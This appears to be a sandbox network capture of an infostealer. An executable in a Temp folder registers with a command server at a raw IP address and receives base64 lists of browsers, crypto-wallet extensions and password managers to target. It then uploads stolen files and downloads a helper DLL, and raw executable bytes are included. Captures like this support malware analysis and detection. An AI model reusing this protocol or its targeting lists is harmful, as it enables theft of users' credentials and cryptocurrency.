Jan 3, 2025 15:21:28.569200039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:21:27 GMT Content-Type: application/octet-stream Content-Length: 3183616 Last-Modified: Fri, 03 Jan 2025 13:55:02 GMT Connection: keep-alive ETag: "6777ec36-309400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@0F0@Wk00 @.rsrc@.idata @fjvnplhk))@netceafy0n0@.taggant00"r0@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49873	185.215.113.206	80	3872	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:21:30.779438972 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Jan 3, 2025 15:21:31.496062040 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:21:31.501859903 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 43 37 34 39 33 34 43 42 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="hwid"C2C74934CBEB3294564547------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="build"stok------JDBFIIEBGCAKKEBFBAAF--
Jan 3, 2025 15:21:31.749769926 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 45 79 59 6a 59 35 4f 47 4e 6a 59 57 46 69 4d 6d 49 32 4e 6a 55 79 4e 6a 64 68 4d 44 4a 6b 59 57 4d 77 5a 57 56 6c 4e 6a 4e 68 4e 32 56 6d 59 57 52 6a 59 7a 6c 6c 4e 7a 4d 31 4f 57 45 35 4f 44 4a 6a 5a 57 59 35 59 7a 4e 6d 4e 57 56 6d 5a 57 5a 6c 4e 7a 51 35 5a 47 4a 69 4f 54 41 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWEyYjY5OGNjYWFiMmI2NjUyNjdhMDJkYWMwZWVlNjNhN2VmYWRjYzllNzM1OWE5ODJjZWY5YzNmNWVmZWZlNzQ5ZGJiOTAzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Jan 3, 2025 15:21:31.754663944 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"browsers------ECAKECAEGDHIECBGHIII--
Jan 3, 2025 15:21:31.984251022 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Jan 3, 2025 15:21:31.984277964 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Jan 3, 2025 15:21:31.985861063 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDHDGCBFBKECBFHCAFH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 2d 2d 0d 0a Data Ascii: ------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="message"plugins------GIDHDGCBFBKECBFHCAFH--
Jan 3, 2025 15:21:32.225676060 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jan 3, 2025 15:21:32.225692034 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Jan 3, 2025 15:21:32.225996971 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Jan 3, 2025 15:21:32.226008892 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Jan 3, 2025 15:21:32.226021051 CET	448	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Jan 3, 2025 15:21:32.226032019 CET	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 52 69 59 32 68 76 62 6d 6c 6c 62 47 6c 6b 5a 32 39 69 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 Data Ascii: MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9
Jan 3, 2025 15:21:32.226042986 CET	1236	IN	Data Raw: 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 52 76 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 Data Ascii: bGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGV
Jan 3, 2025 15:21:32.226054907 CET	592	IN	Data Raw: 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 Data Ascii: aGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVB
Jan 3, 2025 15:21:32.227682114 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="message"fplugins------ECGDBAEHIJKKFHIEGCBG--
Jan 3, 2025 15:21:32.456288099 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jan 3, 2025 15:21:32.507538080 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.206 Content-Length: 7723 Connection: Keep-Alive Cache-Control: no-cache
Jan 3, 2025 15:21:32.507599115 CET	7723	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jan 3, 2025 15:21:33.449232101 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:21:33.841434956 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:21:34.068586111 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 